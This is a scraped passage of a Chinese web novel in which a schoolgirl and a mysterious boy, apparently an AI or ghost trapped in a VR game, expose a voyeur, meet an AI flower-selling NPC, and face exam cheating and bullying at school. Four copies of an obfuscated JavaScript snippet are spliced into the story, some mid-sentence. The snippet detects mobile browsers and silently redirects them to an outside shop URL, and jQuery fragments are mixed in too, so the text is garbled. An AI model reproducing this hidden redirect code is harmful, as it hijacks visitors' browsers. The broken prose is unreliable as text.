0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564454|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其中又以情侣最多,不远处的两对小情侣好像都快亲上嘴了。 在他们亲上之前,韩思飞快移开视线,同时岔开话题:“你对这游戏还真熟悉,连还没开发完成的地图都能找到。” “因为我还挺喜欢这片山谷的,看更新上写的,今晚夜深了还能抓萤火虫。” 韩思先发制人:“有能好评的新人任务?” “你当我是什么人啊,这次真不是。”零零零忽然蹲在地上,手指扒拉草地,不知道在找什么,顺嘴道,“不过倒是有个情侣限时任务,能抽奖拿奖品,毕竟今年七夕的时候《仙缘》还没上,百花谷开放就当补一次七夕了,氪金还有情缘装扮。” “游戏厂商还真是不放过任何一个割韭菜的机会。你在找什么?需要我帮忙吗?” 零零零摇摇头,他抬头手指放在唇前,笑了笑:“一个有趣的东西,百花谷特有。” “哥哥姐姐,你们要买花吗。” 好奇间,韩思忽然听到一句甜甜的询问,两人的目光同时向边上看去,是个粉雕玉琢的小姑娘,不过韩思腰间的身高,矮矮的,身着粉色上袄,扎着两个发髻配环形扣,琉璃做的流苏荡下来反射太阳光线,布灵布灵的。 她手上还挎着个比她脑袋大上不少的大花篮,两只手捧花蓝过头顶,“哥哥,你要给姐姐买花吗?” 韩思在看花蓝里的花:“这也是情侣限定任务?卖花赚钱?” 零零零蹲在地上,把不知道什么的东西用极快速度揣进兜里:“嗯……也不算吧,但确实挺赚钱的,而且还自由好多,我也想卖。” 他拍拍手起身,摸了摸那位卖花小可爱的头,小可爱机灵后退没被摸到,又礼貌鞠躬:“不买我就走了。” 那小可爱走之前嘴巴里似乎还在小声念叨什么,不过犹豫了下还是没说出来。 真可爱的小姑娘啊。 韩思其实也想戳戳她的双髻来着。 “汉斯小姐,可以麻烦你用新获得的炸弹朝向那边砸吗。” 零零零倒是突然说话了,他指的方向是一个小草堆。 “喂!上次苹果的事情还没找你算账。”韩思抗议,“这次你就算有礼貌地求我也没用,你干什么自己不砸。” “我保证这次没意外。”零零零的眼眸里盛满无辜,闪现眼前,“求你也不行嘛,那里有人在做坏事。” “……信你最后一次。”她大概率是那种会在一个坑里跌倒爬起又跌倒的人,调出新获得的炸弹向草堆方向投掷,不得不说她准头还不错。 彭一声巨响,伴随的是无数草木树叶还有花朵炸上天空,瞬间飞沙走石。 “我靠谁啊,有病啊,在这里扔炸弹?” “有没有公德心啊?要打架去战斗线啊!” “呛死我了!我就差点点亲到我的男神了啊,是谁我要杀了你[泪喷射而出.jpg]” 四面八方投射来目光如坐针毡,始作俑者怒目而视身旁那好像事不关己的少年,第一次咬牙叫了他全名:“零!零!零!” 7. NPC 被叫的少年应了声,微微弯腰下巴放在韩思的肩头,老神在在道:“等一下嘛,你看那里。” 漫天的烟雾落回地面,待视线变得清楚后,原本草堆的方向出现了个四仰八叉倒在地上的人,正处于被炸弹砸晕的六十秒眩晕里。 “这谁啊?炸弹还炸伤人了吗?” “那对小情侣好嚣张啊,有没有人去教训一下,尤其是那小子,看着好不爽。” “不对啊这草堆这位置,我总感觉正常人不会躲在那边。” “我也觉得,静观其变先看看吧。” 在众人议论纷纷里,零零零索性光明正大地拉着韩思走上前去。 六十秒一过,眩晕效果解除,那躺倒在地上的人刚想动弹,就又被零零零一脚踩回地上。 他咒骂一声,然而零零零脚尖微微用力,那人就吃痛得闭嘴了,他调出面板慌慌张张地想要强制登出。 少年的手一呼,那人的面板竟也随之而动,落在零零零身前。 韩思讶然:“操控面板还能抢走?” 零零零随口答道:“是啊,不过只有我能抢。” 韩思担忧地看着周围,都是来围观的玩家,还有明显增多的趋势。她后退半步,不小心碰到了零零零的后背,“你等会儿有方法逃出去的吧?这里的人有点多,围殴的话……” “胆小鬼。”零零零抬眼笑了下,睫毛微动煞是好看,“相信我啦,我是不会让你再落荒而逃一次的,今天的百花谷那么漂亮,不赏花真是可惜了。” 他熟练操控屏幕,最终在一个页面停下,放大又放大,直到是让所有人都能看清的大小。 视频里的重要隐私都已经打码,但这名四仰八叉躺在地上的男子刚才的所有猥琐举动一览无遗。 他一边借地形优势拍下女孩子的裙底,又一边把照片放在群里,这些照片不止有游戏,还有现实,他又绘声绘色在群里大肆宣传此游戏免费看美女的好处。 还有他和卖花女孩的聊天记录一并放出,里头尽是些污言秽语,就好像随时都在用棍子思考的猪猡一样。 “哇好恶心的人,怎么游戏里也有这种恶心的人?” “这种人渣,就应该让他彻底封禁。” “那个群聊里的某个人我好像见到过,貌似是哪个学校的,C城五中?他是学生吧?学生还能做出这种事?” “五中啊,是我朋友学校,我问问她去。” “喂各位,有没有人想来教训一下这个流氓?” “我来我来,看这种男的就烦!” “真幸运,也就是在休闲线被抓到,要是战斗线非弄死他千百次不可。” 此刻舆论反转,虽然仍在窃窃私语,但不难推测,这名玩家已经名誉扫地了,在游戏里大概率要面临超多侠气之士的追打,在现实里恐怕也是一样。 趁着大家的目光都在那人身上,韩思趁机溜出了人群。 很难说零零零是不是故意的,就算让路人知道这人在干坏事,他也只需要调出视频就可以了,但他在那人的聊天界面逗留了很久,给足了时间,让那人现实生活里的熟人能认出来。 他真的挺聪明的。 韩思听见身边也有人在议论他。 “话说回来,这那男孩子谁啊,好帅,是GM吗。” “要么是GM要么是特殊玩家吧,竟然能强制别人不登出游戏,这种权限不可能是普通玩家有的。” “而且特别冷静,有种很奇妙的气质。” “诶等等,我怎么感觉那帅哥有点眼熟呢。” 韩思忽然思绪飘飞,像零零零那样的人,就算在游戏里,他单单那份在无数的目光下照旧从容不迫气定神闲的气质,就已经是很多人都难以达到的了。 隔着人群,他遥远而闪耀,在现实里,应该也是天之骄子吧。 放映完视频罪证,零零零在人群中抬头扫视四周,最终在人群外锁定站得远远在发呆的韩思。 视线交汇,少年大步越过人群,自来熟地站在她边上,手肘搭在她的肩膀上,笑吟吟的。 “让我们恭喜汉斯小姐,又一次成功抓捕了在游戏里违规的犯人,有没有成就感?” 有些人的目光也跟随落在这里,又在看到两人亲呢的举动后移走,韩思松了口气。 刚前头说话的女孩此刻小声在聊:“他们关系挺好的诶,会不会是真情侣?” “女孩子也好帅,刚投炸弹的动作帅到我心巴上了,这准头无敌。” “我见过他们!在前几天的赛场上,可甜了,但女方说不是情侣55555,冷冷的猫猫和甜甜的小狗,我本来都打算磕了。” “我们那个时候还忘记切小频道聊天了,被抓包可丢人了。” “上次比赛结束后他们两个好像还吵架了,气氛很冷,这次看应该是和好了。” 韩思不敢置信地又偷瞄了一眼眼前那几位。 好眼熟。 这不是流泪猫猫头们吗??? 趁她们反应过来自己又在当事人的面前公屏聊天之前,韩思拉着零零零又小跑几步,跑到不远处的树下远离人群。 零零零斜靠在树干上,看着气喘吁吁的韩思,啧啧称奇:“还挺有缘,经常碰到她们几个,不过你紧张什么啊。” 韩思不想聊这个,干脆问出刚才的困惑:“你怎么知道那人躲在草堆里还在干坏事的。” “正巧接到其他玩家的举报啦。” 无论是举报,还是抢夺控制面板,这些都是给特定玩家开放的功能? 韩思看着零零零深呼吸一口气,认真道歉:“对不起。” 在他稍显惊讶里,韩思耳垂有些烫,“因为上次那个苹果的事情……本来以为你是那种做事情就为好玩的赖皮混混,所以背地里骂过几次。不过后来没骂过了,嗯。”最后一句说得斩钉截铁。 “……哈。”少年神色复杂,说不清是困惑多一点还是无奈多一点,“网瘾辍学就算了,你还骂过我什么啊?” 韩思没敢接话,心虚地移开目光。 猝不及防下,耳垂被手指尖轻擦,不适从地转头,脸颊又落入少年的掌心,温度在蔓延,目光不得不看向零零零凑得极近的脸。 他低垂着眼帘念叨:“这么心虚,怎么感觉会是些挺难听的话。” 韩思反复回想这人与自己的关系只是单纯的好评关系而已。于是一把抓住他得手腕,毫不留情道:“例如动手动脚的流氓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564455|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “哈?冤枉啊汉斯小姐,我只是把这些落在你头上的树叶摘掉而已。”零零零抽出被韩思抓住的手,张开的手掌心里几片树叶安静地躺着,以示无辜。 韩思咳了两声,再次心虚地移开目光:“……对不起,但下次你直接和我说就好。” 近距离动手摘什么的,氛围未免太奇怪了。 零零零还想张嘴,却被清脆的童声打断。 大概是这群人都靠近过来围观了,那卖花的小女孩为了卖花也不得不靠过来,首先锁定的就是人群外围的韩思和零零零。 小女孩在两人中间探出头来,声音仍旧甜甜:“哥哥姐姐你们买花吗?” 韩思成功趁机逃离刚才的话题。 又听那小女孩在看清两人后,竟故作老成地叹口气:“我刚刚好像问过你们,你们没要,姐姐你可要擦亮眼睛看清楚啊,穷酸抠门的男朋友可不能要。” 她看着韩思,指指零零零,恨铁不成钢地重复了一遍:“这种人不能要哦,姐姐。” “谁抠门?”零零零显而易见地气急:“你说什么呢你?” 韩思没忍住笑但又不好意思笑得太大声,最后憋得肚子有点疼,拍了拍零零零的肩头以示安慰,“没事的没事,我知道你不抠门就行了。” 小女孩做了个鬼脸,跑得飞快,又走到人群里去卖花。 议论纷纷的众人给她让出了条道路来,交谈的中心话题转移。 “那卖花的小女孩来了?这么小这么可爱的小姑娘都下得去手?真是畜生。” 小女孩点点头,粉嘟嘟的小手指着地上那人,面无表情道:“对的,他是畜生。” “唉我说,你怎么不反抗啊,都聊成这样了。” 小女孩歪歪头指着自己:“你是说我吗?因为他要买花,我得让他买花,而且我没办法反抗,我打不过他。” 在重重围绕的人群里,小女孩的童音脆生生的,却能穿入所有人的耳朵:“我是百花谷谷主的女儿,我叫筱花,我是搭载Ai技术的NPC,按照设定,惩罚违规玩家一事不归我管,有专人负责。” “我的任务是卖花,你们还需要买花吗?” 随着花篮被奋力举过头顶,筱花的双髻环扣和流苏一晃一晃。 满场瞬间的安静,又是嘈杂的议论。 “是新引进的AI吗,好牛的仿真度,竟然这么像真人。” “好厉害,我怀疑过她是小孩进游戏都没怀疑过她是AI。” …… 韩思也有些惊讶:“如今的AI已经这么像真人了吗?” 零零零安静了片刻,他看着韩思的侧脸:“你说AI和人的区别在哪里呢?” “嗯……图灵测试?” “那如果连图灵测试都过了呢?” 韩思并未多琢磨,只是说出了心中正好所想的答案,“就算如此,那人和Ai也是不一样的。” “汉斯小姐。” 零零零难得叫了韩思游戏id全名。 感受到肩膀被拍,韩思转头,在看到零零零脸上的表情之前,彭一声不知道什么小玩意儿炸开,顷刻间无数红的黄的橙的五颜六色的花瓣在眼前绚烂,遮住了所有的视线。 8. 胆小鬼 片刻后花瓣落定,韩思“呸呸”两声吐掉嘴里的花瓣,又抹了把脸把脸上残留的花瓣抹下来,总算恢复清明后,她深呼吸一口气。 零零零笑容颇有些恶趣味:“谁让骂我这么多次的,我现在替自己补上一条,我心眼还很小呢。” 意外的是,韩思的语气很平静,好像压根儿没有被恶整到,只是有些好奇:“刚才是什么东西啊?” 零零零的笑容有些凝固:“……是我刚说过的百花谷特产,小小的黑色的花,一捏就炸,你还好吧?”他小心翼翼问道。 “哥哥,你好像惹姐姐生气咯。”卖完一轮花的筱花从人群里出来,正好又从两人中间经过,看了眼两边,花篮举起,“要不要买朵花哄哄姐姐。” “我买。”韩思从中挑了一朵,账号上的钱刷走。 “还是姐姐大气呀,哪像抠门的男人。” 花朵被递在零零零的面前,在少年困惑不敢接中,韩思如他所愿松手,零零零下意识接过,韩思两只手一拍,又是彭一声。 漫天花瓣绚丽炸开。 筱花‘啊呀’了一声,“不小心吧炸弹花也放进去了,不好意思啊。” 虽然脸上毫无不好意思的表情。 零零零头顶五彩花朵,全身都是花瓣层层叠叠,尤其是原本乌黑柔顺的黑发,此刻尽被红的蓝的绿的颜色缠绕,他低垂着脑袋挠了一下,却因是七八个炸弹花一起爆炸,所以越挠越多,显得狼狈又好笑。 不过配他那高挺鼻梁琥珀色的眸子,倒颇有异域风情。 韩思没忍住笑:“可你还说我胆小鬼呢,两清了好不好。” “不行,我拒绝两清,你给我的伤害更大。”零零零的胸口起伏,很显然是深呼吸平复了下心情,他不服输地哼哼道,“筱花你这边还有没有,我要买一把。” 有生意做的筱花喜笑颜开,“好好好。”她捣鼓着自己的花篮挑出好几朵花,每朵上面都结着黑色的小珠子。 “喂喂喂!真的对不起了嘛,你就看在我从未差评,一边学习一边和你做任务的份上。”韩思边抗议边后退几步,特小声吐槽,“不能真的是小心眼吧。” 说着说着她就步步后退,看零零零势在必得的模样分明就是不打算放过。 他真自知之明,果然心眼小死了! 筱花递那捧花给零零零的手一顿,她看着零零零的脸看了又看,似乎在确定什么,最终仍是语气平静提醒道:“不对啊哥哥,你貌似送花给姐姐也没用啊,你又不能有情缘……” “炸弹花只是用来炸人的,要这些讲究来干什么。”零零零拿过花,他飞快打断了筱花未说完的话。 “看你这么紧张我反而更想提醒你了。”筱花这个难得的面瘫脸竟轻皱了下眉头,“虚拟数据可无法触碰现实世界。” 零零零正数着花中黑色小珠子的数量,方便结算价格,他下意识反驳:“谁紧张了。” “你是困在这里的幽灵,你是《仙缘》的N……” 筱花话音未落,只见零零零眼疾手快弯腰抬手捂嘴,一套动作行云流水,那捧花在少年急切的大幅度动作下,抖落了几片花瓣。 他压低眉头,恶狠狠道:“闭嘴。” 他有抬起眼皮看了眼,幸好韩思个胆小鬼怕被炸已经跑出相当段距离了。 他忽然发出了很轻的一声嗤笑。 果然胆小鬼。 筱花挣脱得也灵巧,后退两步又点点头:“好。” 他只是觉得没必要现在坦白自己罢了,对韩思这种胆小鬼,冲击太大。 万一不给好评给个差评呢,那他一周百干,更万一她直接跑了呢,他还得再找一个新手吗。 他手指插进头发,烦闷地抓了抓。 筱花又似懂非懂地点点头,她的语气仍是毫无波澜:“按理说你们都买了我花,我会祝你们有情人终成眷属,但无法包括你,抱歉。” “本来就不是情侣,不需要。”零零零看了眼远方躲在树后又用课本遮住自己的脑袋少女,又收回目光道,“不过你说晦气话,怎么就不能给你差评。” 他看着手里那捧开得娇艳的花,又沉默了下,摆手把花又塞回筱花的花篮里,“算了,我不买了。” 筱花退后两步,撇撇嘴奚落:“哪有临时反悔的事,果然我没看走眼,真是抠门的男人。” 见筱花抱着花篮走了,交易貌似也没达成,韩思这才蹑手蹑脚地靠近弯腰,“没买吗,没生气啦?” “没生气。”零零零干脆从蹲变成坐在地上,他就这样盯着韩思的脸,目光却有些恍神,“只是觉得你也挺惨,既然一样惨,就扯平吧。” 韩思抓了抓脑袋,五颜六色土土的花瓣一片片落下,她噗嗤笑出来:“确实挺惨的,那这样吧,你也不小心眼,是位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564456|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大好人,我衷心感谢大好人愿意原谅我。” “我当然是大好人咯,不用你说。”零零零没好气地说着,“你看看你的活动面板,有抽奖活动。” 带着疑惑韩思直起身来,指尖触碰空气操控面板出现,在活动页面,两行大字飘过。 【恭喜玩家完成情侣限定任务1:互相送花】 【恭喜玩家获得一次抽奖机会。】 韩思琢磨着:“情侣任务?送花?我什么时候和人送过了?等等。” 零零零的神色好像也有点无奈,他摊了摊手:“因为炸弹花也算花。你快抽奖给我看看,这次奖品还不错的。” “……这活动策划还挺幽默的。”韩思一边吐槽一边抽奖,“啊抽完了,是现实奖励,一箱柠檬茶?” “恭喜恭喜,虽然是五等奖,不过挺实用的。” 韩思跃跃欲试:“其他任务也有抽奖机会吗,让我看看还有什么奖品?情缘限定时装、坐骑、信纸、竟然还有双人旅行,果然财大气粗啊。” 这天上掉馅饼的事不要白不要。 “先等等吧你。”零零零乜了眼,看好戏般道:“其他任务你要不看一眼。” 韩思滑动页面,扫了眼:“……打扰了。” 其他任务全都是真情侣才能干的事情啊!韩思关闭页面,又蹲在零零零的边上,眉眼弯弯道:“总之谢谢你啦,没你我也没有这意外之财。” 零零零哼哼:“口头谢谢可没用。” 韩思抓紧补上:“五星好评,我懂!” 韩思先忍不住笑了。 零零零唇角也勾起若有若无的笑意。 零零零有种魔力,就算再差的心情,在看到他之后就差不起来了。 在这个构建真实有风在吹动花草地的世界里,他是如此恣意鲜明地存在,用蓬勃的生命力驱散阴霾。 所以当时她会答应他,至少这段时间里会一直上线,会给他五星好评,会短时间里不离开《仙缘》。 “不过我要做题啦。”韩思晃了晃手中一叠的书题本,手支地面在零零零的身边坐下,“想了想,还是复习下明天的联考吧。” 零零零勾起唇角,懒散的回答随着风漫过草地:“嗯。” 夏日里的最后一缕风从遥远的南边而来,跨过山河湖海,吹过少年们的头发,偶尔还从他们的头上吹下几片五彩的花瓣。 9. 坏运气 七中是个学习成绩垫底的高中,大部分人又不打算走纯体制内高考的路线,对联考也并没有多少重视,座位也仅仅是班级内部打乱重新排而已。 韩思的运气向来不太好,拿着笔袋在座位上坐下,结果发现隔壁就坐着潘邢后,也算是彻底接受这件事了。 四场考试没有一场是能静下心来做题的。 潘邢他们几个要么是趁监考老师转身丢小纸条过来问答案,要么就是试卷翻得劈劈啪啪响,更有甚直接从座位上偷摸着起身看几眼再坐回去,韩思做题的手被迫停了又停。 他们也就笃定了以七中对考试的重视程度,是大概率不会开监控的,只要不是现场抓包,监考老师也多半只会睁一只眼闭一只眼。 语文尚且还行,毕竟除选择和默写外其他大多都是主观题,又有一半时间是留给作文的,潘邢他们也不至于连作文也抄了去。 韩思偶然瞥了眼,发现那几个不约而同地把手放在桌肚子里,屏幕的反光照在眼睛上,不用想也知道他们偷摸在用手机搜类似的范文抄个形似。 英语则选择题偏多,她也拿手,速度做完一张后就扔在一旁,不过还得听着他们敲敲桌子压低声音说翻页,然后跟着翻页。 这群家里有钱有势又不用和普通人那样千军万马过独木桥走高考路的人,到底为什么也要执著于一个漂亮的成绩呢,只是为了给父母看的话,到真正高考的时候也没法找人作弊了吧。 韩思一边做题一边忍不住心中怒骂,但又打不过那群男生,又得在这个班级里继续待到高考,只能憋屈地生闷气。 到了第二天的最后两场考试简直就到了地狱,天空也好像有感应般,阴沉沉的,空气里湿度直线上升,仿佛能捻把捻把掐出水来。 约莫下午要下雨了。 若要说最容易作弊的科目,那肯定是几乎只有客观题的数学了,潘邢他们自然也逮着这门抄,多抄一个空就是五分呢。 好死不死还正好是韩思最头大的一门课,时间只剩下最后的二十来分钟,而她因为旁边那群人的打扰,还有整整一面的两道大题没有答。 再三忍气吞声后她实在忍无可忍,干脆不理会旁边的动静,小纸条一个接一个丢过来,统统扔在桌肚里没有打开。 也许是上天看她已经够倒霉了,心生不忍难得垂怜,她的倒霉在读完最后一题的题干后稍微触底反弹了下。 是道特别熟悉的题。 数学试卷上的最后一道题按理来说作为压轴题没那么简单,不花费个十来分钟思考是解不开的,但单单读完题干,就好像能听见少年清冽的嗓音在耳畔响起。 “这种题目有技巧的,试试看找圆和这条函数相切点呢,是不是有且只有一个点。” 印象深刻的原因,是在解完这道题后,零零零也被树上自由落体的苹果砸了下,他捂着脑袋不可置信地看着头顶的树荫。 韩思一本正经评:“砸人者,人恒砸之。” 视线落回眼前的试卷,韩思跟着他的思路又走了一遍,函数在不停向前蔓延,而圆始终被桎梏在坐标系的一小块上。 这道题的答案应该也是有且只有一个点。哪怕是无限趋近于零,第二个点仍是没有相切的。 就剩下落笔证明了,却突然听见一声不大不小的威胁声: “韩思!” 转头是潘邢在叫她的名字,似乎还挺生气,一脸凶相。 余光瞥见监考老师在最远的门口,估计是没有听见,她的视线在看走廊外的篮球场。 如果是零零零的话,他是会直接无视,还是干脆和他们干一架?不过他的话,应该不会沦落到自己这般地步吧。 韩思手中的笔没有停下,反抗从心底萌发作祟,她尽力保持自己思维不受潘邢的小动作所影响,缕顺思路,在答题卡上逐字写下验证过程。 至少写完这道题,至少别那么窝囊。 簌簌的数字字母书写干净整齐排列,道第三行的时候,整张试卷被猛然抽走。 落在答题卡上的笔尖还没来得及收回,在空白处蔓延出了一条直线。 潘邢坐回座位上,又压低声音恶狠狠道:“闭嘴,大不了一起没成绩。” 韩思眼见监考老师走进来回到讲台上站着,又匆匆低下头,手指紧紧捏着笔杆装作在写题,担忧提到嗓子眼,随之而来的还有更深的厌恶。 她向来循规蹈矩,行事内敛,更何况之前在市一的时候可没人敢这么张狂地作弊。 算了,算了,不要把事情扩大化。只是一道题没写完而已,只是被潘邢抢过去抄而已,所以得伪装好,不能被监考老师发现。 她的嘴唇抿得死紧,反复劝解自己。 因为潘邢可以作弊,但她不行,她绝对不能被通报批评请来家长,被殴打被责骂就算了,但那套藏在房间里的游戏装备绝对不能被发现。 第一是赔不起,第二的话,她还是没忍住想到了零零零,虽然只是普通的因新人任务而联系在一块的普通朋友关系,但一想到如果就此分开,竟是有些不舍。 回去问问零零零有没有其他联系方式吧。 她忽然意识到仅仅是游戏里的关系,还是太容易走散了。 不幸中的万幸便是数学试卷是两大张纸和一张答题卡,不至于被抢走答题卡后桌面清空露出原木色。 潘邢在最后一刻前找机会把答题卡扔回韩思的桌子上,但已经没有时间可以作答,结束的铃声刺耳,划破安静的教室。 韩思没再动笔,答题卡在眼前被收走,最后一题仍是空白,只是有条直线突兀,生生走出了答题框,消失在纸张的最边上。 桌角被人故意一撞,她回神。 潘邢经过她的身边,不怀好意的目光在她身上来回扫荡。 也许是一时意气的上涌,韩思深吸口气,不甘示弱地回瞪,一字一顿说得清晰:“神经病。” 潘邢的脸上显而易见地划过了惊讶,又有被冒犯的愤怒,拳头举起又落下。 是班主任那个老头进门了。 但气未解,他索性狠踹了韩思的桌子一脚,这次没那么幸运,桌子上的几本书被踢落在地上,他自己回座位从桌肚里掏了包烟,呼朋唤友去厕所。 韩思坐在座位上没动,直到看见潘邢的背影消失在后门,她才缓缓趴下,趴在桌子上目光穿过窗外,雨滴淅淅沥沥,打落在树枝上。 外头的那棵树她很早前就想说了,还挺像游戏的那棵树,一直和零零零在树下做题的那棵树。 仇怨也算彻底结下了,若说不后悔也是假的。 最后一场是小科,韩思和潘邢他们选的不一样,倒也算安生,只是一天之内情绪消耗太大,她也不够沉静,最终也是发挥得不尽如人意。 最后一节课刚下课,韩思就飞快整理好书包离开学校,不过还是慢了一步。 她从学校的面包房里走出来,刚弯腰拿起放在门口台阶边上的伞,却听见在背后传来熟悉的声音。 刚想回头,后背就遭受一股大力,脚下本来就是台阶,重心不稳,便连人带伞一起跌倒在地上。 “哎呀,不好意思。” 女孩子故作惊慌道歉,又看了眼自己身旁的潘邢后,俯视落在水谭里的少女,捂嘴嗤笑:“潘哥哥,我替你出气咯。” 她的手上拿着没喝完的可乐,做势欲泼又收回,好像刻意在逗弄:“你也是,要不是潘总他和我不在一个考场,他可犯不着抄你的答案,谁稀罕似的,破成绩有什么用?也就潘总家里管得严些……” 放学后的雨好像大了些,只是一时半会儿没撑伞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564457|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就淋湿了满身。 索性也破罐子破摔,韩思在那人炫耀的时候就已经起身。 她在雨里靠近那两人,抬手打翻了女生手上的可乐。 可乐滑落在裙摆上,一小条污渍蜿蜒而下。 潘邢竟也没帮她女朋友出头,而是在旁幸灾乐祸:“嚯呵,被这种人挑衅了。” 韩思用着平静的语气扫了眼两人:“*你爹的,一群傻*。” “你放什么狗屁?”潘邢瞬间怒目圆睁,似乎想打人,不过被他女朋友拦下了。 那女生不屑地瞥了眼,上下打量:“潘总为了这种人被通报批评,不值得不值得,反正她也一个朋友都没有,看着怪可怜的。不过我今天都帮你教训她了,那个游戏新上的情缘装扮好帅好漂亮呀,能不能和我……” 渐行渐远,那对小情侣的声音越来越小。 一场秋雨一场凉。 面包脏了晚饭也没吃成,回家先是洗澡又是洗衣服的,最后还得清理下膝盖上擦破的伤口,晚上登游戏的时候,已经挺晚了。 韩思手动移开了零零零蹭过来的脑袋,她叹口气第一句话就是:“感觉砸了,别提考试了。”估摸着也不止考试,大概她剩下的高中生活都不能安稳了。 “向前看,下次再继续努力学呗,我陪你。”零零零倒是干脆抓住她的手腕,他每天好像都精神饱满无忧无虑,帅脸又凑过来:“你今天上线好晚啊,是不是感情淡了?” “我有自己的生活,这不是考试么,就比较忙。”韩思的手灵活挣脱,“说起这个,除了游戏,我们要不要加一加其他的联系方式,我怕我有一天联系不上你了。” 零零零恶趣味地眨眨眼:“怎么?舍不得离开我了?” 他说话暧昧仿佛成习惯,韩思有些狐疑,“你在现实里不会是个渣男吧?” 和潘邢那样的渣男。 “?”零零零诧异,虽然跟不上韩思的脑回路,但他想赶紧证明自己清白,“哪有的事情?心眼小赖皮混混就算了,渣男真和我八杆子也打不着关系啊。” 可怜他搜完数据库也没找到该怎么证明清白。 韩思不信两字写在脸上:“你有女朋友吗?” 他斩钉截铁:“没有!” “那你有喜欢的人吗?” 都怪零零零一脸紧张的模样,在等待答案的片刻里,韩思也跟着紧张起来。 “……不能有。”由数据排列组合而形成的逻辑体,此刻选了一个最笨最迷信的方法,他手举过头顶,一副但留清白在人间信誓旦旦的模样,忽然笑吟吟道,“我对天发誓啊,我真的不能有。” 韩思靠近审视了两眼,学着他哼哼了两句:“看你熟练的样子,不是渣男就好。” 她说完就后悔了,这话题里仔细琢磨,总觉得隐藏了些别的意思,耳垂刷一下烫烫的。 “走了不要纠结这个了,今天你和我有个重要的约定,你不会忘了吧。” 零零零拍拍韩思的头,这次倒是走在前头。 “什么约定?” 韩思跟在他身后随口问道。 戏谑的声音从前方传来:“贵人多忘事啊。” 零零零回头看了眼韩思,少女捏着自己的耳朵,好像这样就能快点降温,她眼神乱飘不知在看哪里,又在发现自己的目光后立刻逃走。 “喂喂!看着点路你要撞树了。”她说。 零零零的眼睫低垂,长长的睫毛正好掩藏眼底的情绪。 他有没有喜欢的人呢? 意料之外,被突然问住了。 所以他选择了最讨巧的回答方式,那就是避而不答。 但他知道少女怀春的心思。 他自私自利。 看着漫山遍野的山花烂漫,他想留下些什么。 10. 好运气 其实跟着零零零走了没几步,韩思就想起来了,不远处一群人都在排队入内,大概就是那个全服擂台赛,整得还挺浩浩荡荡。 当时好像是和零零零约定过要整潘邢他们来着,但当时不过是逞口舌之快,她还真没想过自己一个休闲类玩家,新手任务又才完成七七八八,怎么和人家天天挂网上还找小弟凑装备的人打。 大概一个平A她就下台了。 难道零零零打算自己上去干架?万一打输了多丢人,而且就为了个好评,至于吗。 探究的目光一遍一遍扫过他的脸上。 零零零忽然抬起了手掌,遮住自己侧脸,他故作叹气:“唉,你要不要看看你后头是谁。” “是谁啊。”韩思刚回头,余光就先看到了熟悉的配置熟悉的脸,忽然有点语塞,“……是流泪猫猫头啊。” 怎么老是这么巧呢! 她吐槽道:“她们是固定刷出的NPC吗?” 零零零语气平静又总感觉在戏弄:“你再用那种目光看我,她们大概又要聊开了。” 这话一说,韩思立刻身板挺直目不斜视。 这次的全服擂台赛选取的位置在城门口,无论是战力党还是休闲党,大部分的玩家都来观战了,幸好这游戏的时装设计师不太青睐炫酷闪亮的装扮,没有什么五光十色的飞天大翅膀,不然光是进场,这数以万计的人挤在一块同屏,就会造成极大的光污染。 观众是以万为分割分布在不同的服务线上。 而城门正中央是比赛的场地,无论是在哪个服都能看到实时的投影转播。 韩思上线本来就晚,此时比赛老早就开始了,前几个火热的服务器早就站满了人,她和零零零自然就在最后一个新开的服务器上。 她本来就对这种事情没啥兴趣,不用人挤人她庆幸地呼了口气。 虽然是游戏,但看到最前排的几个人变出座位,施施然坐下,韩思又惊讶又有点羡慕:“你看那边,他们怎么还有座位?” “氪金的,999一把。” “不羡慕了。” “最前排观众席也是999一个位置出售的。” 零零零抱胸,好整以暇地看着她。 她也不失所望,发出了没见识的感叹:“加一加是两千块,真是可恶的有钱人啊。” 零零零煞有介事地点点头:“我也觉得,有钱人真可恶啊。” 还好有超大电子屏挂在擂台上的四面八方,虚空放置,再结合不远处红砖城门,插满的旌旗在风中猎猎,颇有些电子科技和古代结合在一块的魔幻主义。 电子大屏实时转播擂台上的一举一动,就是仰头看看久了脖子有点酸。 但一想到只是脖子酸就劲省两千,就感觉再酸一点也无妨。 韩思自然挑了个距离自己最近的电子屏看,这上一场的比赛刚结束,就极快切到了下一场比赛。 